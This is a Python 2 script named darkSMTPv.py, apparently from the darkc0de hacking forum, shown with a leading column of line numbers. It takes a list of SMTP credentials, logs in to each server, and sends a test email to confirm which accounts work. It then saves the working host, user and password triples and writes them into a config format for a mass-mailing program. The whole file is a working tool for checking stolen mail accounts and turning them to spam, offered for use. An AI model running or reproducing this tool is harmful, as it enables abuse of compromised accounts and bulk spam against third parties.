./others/darkSMTPv.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
#!usr/bin/python 
#darkSMTPv.py
#SMTP Checker - using Authentication
#Coded by P47r1ck & low1z
#-----------------------------------
#... To be continued ...
#
#
#THE CODE WILL TAKE A LIST OF SMTP ACCOUNTS IN THE FOLLOWING FORMAT (IP:USER:PASS) WILL TRY TO LOGIN AND THEN SEND AN 
#EMAIL TO THE ADDRESS THAT YOU CAN CHANGE ANYTIME IN THE CODE ( look below the #Create the message at the toaddr= )[LINE 33]
#
#EVERY WORKING SMTP ACCOUNT WILL PRINTED ON THE SCREEN WITH THE FOLLOWING MESSAGE : [!] Email Sent Successfully: IP USER PASS
#
#THE CODE HAS THE FOLLOWING FEATURES.
#
#   1. IT WILL SAVE THE LIST OF WORKING SMTP ACCOUNTS TO FILE OUTPUT THAT YOU WILL CHOOSE.
#   2. YOU CAN ALSO SPECIFY THE EMAIL WHERE THE SMTP CAN SEND THE TEST EMAIL.
#   3. IT WILL MAKE A LIST OF SERVERS FOR THE AMS (ADVANCED MASS SENDER PROGRAM), SO YOU CAN INSERT MORE EASIER THE SMTP
#LIST INTO THE AMS.INI FILE FROM THE AMS PROGRAM. (LIST IS SAVED TO AMSlist.txt)
#
#
#   MORE FEATURES ARE COMING SOON!!!
 
import sys, smtplib, socket, time
from smtplib import SMTP 
 
socket.setdefaulttimeout(5)    # smtp default timeout, change number to speed up large lists
 
def printHelp(): 
    print '\nHow to use it ? There you go :) -- > ./darkSMTPv.py <accounts> <outputfile>'
    print '\nImportant: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS\n'
 
# Create the message
fromaddr = "[email protected]"
toaddr = "[email protected]"
#toaddr = "[email protected]"
message = """To: %s 
From: %s 
Subject: SMTP Checker! Online!
 
Checking SMTP!!!
 
""" % (toaddr,fromaddr) 
 
print "\n     _            _     _____ __  __ _______ _____        " 
print "    | |          | |   / ____|  \/  |__   __|  __ \       "
print "  __| | __ _ _ __| | _| (___ | \  / |  | |  | |__) |_   __"
print " / _` |/ _` | '__| |/ /\___ \| |\/| |  | |  |  ___/\ \ / /"
print "| (_| | (_| | |  |   < ____) | |  | |  | |  | |     \ V / "
print " \__,_|\__,_|_|  |_|\_\_____/|_|  |_|  |_|  |_|      \_/  \n"
print "\n This is not stopping here! ... To be continued."
print "More features will be added soon. For bugs p47r1ckro[at]gmail[dot]com\n"
print "_______________________________________________________________________"
 
 
def timer():
        now = time.localtime(time.time())
        return time.asctime(now)
 
def sendchk(listindex, host, user, password):   # seperated function for checking
	try:
		smtp = smtplib.SMTP(host)
		smtp.login(user, password)
		code = smtp.ehlo()[0]
		if not (200 <= code <= 299):
			code = smtp.helo()[0]
			if not (200 <= code <= 299):
				raise SMTPHeloError(code, resp)
		smtp.sendmail(fromaddr, toaddr, message)
		print "\n\t[!] Email Sent Successfully:",host, user, password
		print "\t[!] Message Sent Successfully\n"
		LSstring = host+":"+user+":"+password+"\n"
		nList.append(LSstring)		# special list for AMS file ID's
		LFile = open(output, "a")
		LFile.write(LSstring) 		# save working host/usr/pass to file
		LFile.close()
		AMSout = open("AMSlist.txt", "a")
		AMSout.write("[Server"+str(nList.index(LSstring))+"]\nName="+str(host)+"\nPort=25\nUserID=User\nBccSize=50\nUserName="+str(user)+"\nPassword="+str(password)+"\nAuthType=0\n\n")
		smtp.quit()
	except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
		print "[-] Login Failed:", host, user, password
		pass
 
if len(sys.argv) != 3: 
    printHelp() 
    exit(1) 
 
# Do not change anything below. 
accounts = sys.argv[1]
output = sys.argv[2]
 
try: 
    handle = list(open(accounts))
except: 
	print"\n[+] We were unable to open the SMTP filelist. Check again your path and try again."
	print"\n[+] Ciao...."
 
#listindex = 0
nList = []
for line in handle:
	try:
		host = line.split(':')[0]
		user = line.split(':')[1].replace('\n', '')
		password = line.split(':')[2].replace('\n', '')
		sendchk(handle.index(line), host, user, password)
	except:
		print '\n[+] We have found a error in your accounts list'
		print host, user
		print '\n[!] IMPORTANT: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS'
		print '\n[-] Exiting....\n'
		exit(1)
 
print "[!] Ended at: " + timer() + ""
print "[!] You should visit forum.darkc0de.com from time to time\n"

Back